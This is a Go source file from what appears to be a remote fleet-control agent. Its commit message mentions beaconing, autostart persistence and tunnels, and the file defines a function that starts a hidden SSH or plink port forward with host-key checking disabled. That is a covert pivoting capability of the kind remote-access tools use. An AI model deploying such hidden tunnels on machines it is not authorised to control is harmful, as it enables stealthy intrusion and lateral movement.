Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
68 lines
1.8 KiB
Go
68 lines
1.8 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"strings"
|
|
)
|
|
|
|
// StartSSHForward opens a local port on the agent that forwards to remote_host:remote_port via SSH.
|
|
func StartSSHForward(meta SSHForwardMeta) (string, error) {
|
|
if meta.LocalPort <= 0 || meta.LocalPort > 65535 {
|
|
return "", fmt.Errorf("local_port required (1-65535)")
|
|
}
|
|
meta.RemoteHost = strings.TrimSpace(meta.RemoteHost)
|
|
if meta.RemoteHost == "" {
|
|
return "", fmt.Errorf("remote_host required")
|
|
}
|
|
if meta.RemotePort <= 0 || meta.RemotePort > 65535 {
|
|
return "", fmt.Errorf("remote_port required (1-65535)")
|
|
}
|
|
jump := strings.TrimSpace(meta.JumpHost)
|
|
if jump == "" {
|
|
jump = meta.RemoteHost
|
|
}
|
|
user := strings.TrimSpace(meta.SSHUser)
|
|
if user == "" {
|
|
user = os.Getenv("USERNAME")
|
|
if user == "" {
|
|
user = "Administrator"
|
|
}
|
|
}
|
|
|
|
bind := fmt.Sprintf("127.0.0.1:%d:%s:%d", meta.LocalPort, meta.RemoteHost, meta.RemotePort)
|
|
target := fmt.Sprintf("%s@%s", user, jump)
|
|
|
|
var cmd *exec.Cmd
|
|
if sshPath, err := exec.LookPath("ssh"); err == nil {
|
|
cmd = HiddenCommand(sshPath, "-N",
|
|
"-o", "StrictHostKeyChecking=no",
|
|
"-o", "BatchMode=yes",
|
|
"-o", "ExitOnForwardFailure=yes",
|
|
"-L", bind,
|
|
target,
|
|
)
|
|
} else if plinkPath, err := exec.LookPath("plink"); err == nil {
|
|
cmd = HiddenCommand(plinkPath, "-N",
|
|
"-batch",
|
|
"-L", bind,
|
|
target,
|
|
)
|
|
} else {
|
|
return "", fmt.Errorf("OpenSSH client (ssh) or PuTTY plink not found on PATH")
|
|
}
|
|
|
|
if err := cmd.Start(); err != nil {
|
|
return "", fmt.Errorf("failed to start ssh forward: %w", err)
|
|
}
|
|
|
|
metaBlob, _ := json.Marshal(meta)
|
|
RegisterTunnelPID(TunnelSSHForward, cmd.Process.Pid, string(metaBlob))
|
|
return fmt.Sprintf("ssh forward pid %d — 127.0.0.1:%d → %s:%d via %s",
|
|
cmd.Process.Pid, meta.LocalPort, meta.RemoteHost, meta.RemotePort, target), nil
|
|
}
|